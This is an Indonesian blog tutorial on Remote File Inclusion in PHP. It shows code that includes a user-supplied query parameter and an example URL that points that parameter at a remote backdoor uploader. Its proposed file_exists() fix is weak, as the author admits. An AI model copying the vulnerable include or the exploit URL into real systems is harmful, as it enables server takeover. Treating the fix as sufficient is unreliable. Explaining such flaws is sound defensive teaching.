Pengertian Remote File Inclusion dan cara menutup bugnya

Pengertian Remote File Inclusion

Remote File Incusion (RFI) adalah serangan yang ditujukan kepada website yang memiliki celah keamanan yang biasanya menggunakan fungsi memanggil file melalui suatu inputan dinamis, dalam hal ini berarti seseorang dapat mengganti alamat file yang akan dipanggil dan kemudian diproses. Tujuan hacker melakukan serangan ini adalah menyisipkan script berbahaya dari domain luar biasanya berupa backdoor/shell ke dalam server target. Akibat dari serangan ini adalah hacker dapat mengambil alih server, pencurian data/informasi, merubah tampilan(deface).



Ini adalah contoh program yang menyebabkan RFI dapat dieksploitasi oleh hacker. Misal programmer membuat fungsi include file yang tujuannya untuk memanggil file untuk di-include kan secara dinamis.

<?php
if(isset($_GET['q'])){
    $q = $_GET['q'];
    if(!empty($q)){
           include $q;
    }else{
        include 'home.php';
    }
}else{
    include 'home.php';
}
?>

Misal penggunaan kode tersebut untuk memanggil halaman kontak melalui URL :
http://127.19.28.22:8000/blog/RFI/?q=tentang.php




Maka hacker akan melakukan expoitasi RFI dengan memanggil backdoor yang telah ditanam sebelumnya di suatu host.
Sehingga URL dimanipulasi seperti berikut :
http://127.19.28.22:8000/blog/RFI/?q=http://localhost:8080/mini_uploader.php


Dan dapat dilihat sekarang hacker dapat menguasai server.

Cara mencegah/menutup celah keamanan(Bug RFI)

Cara untuk mencegah serangan RFI adalah dengan cara melakukan sanitasi inputan dari user, inputan dapat melalui banyak celah diantaranya :
  1. Parameter Request (POST/GET)
  2. HTTP Header
  3. Cookie
Dalam melakukan filter inputan sebaiknya menggunakan cara kerja whitelist yaitu mendaftarkan karakter apa saja yang diperbolehkan.
Disini saya melakukan filter/sanitasi menggunakan cara saya sendiri, yaitu dengan mengecek apakah di dalam suatu server(Dir) tersebut terdapat sebuah file yang dipanggil oleh user, berikut contohnya :

<?php
if(isset($_GET['q'])){
$q = $_GET['q'];
if(!empty($q)){
if(file_exists($q)){
include $q;
}else{
include 'home.php';
}
}else{
include 'home.php';
}
}else{
include 'home.php';
}
?>

Cara diatas mungkin tidak dapat menutup kemanan sepenuhnya, tapi setidaknya saya pernah mencobanya:v

Wokehh cok thx dah berkunjung.

Ingin mendownload source code web security diatas?
Comot Me -> Aku Disini Mass
Baca Juga

Post a Comment

0 Comments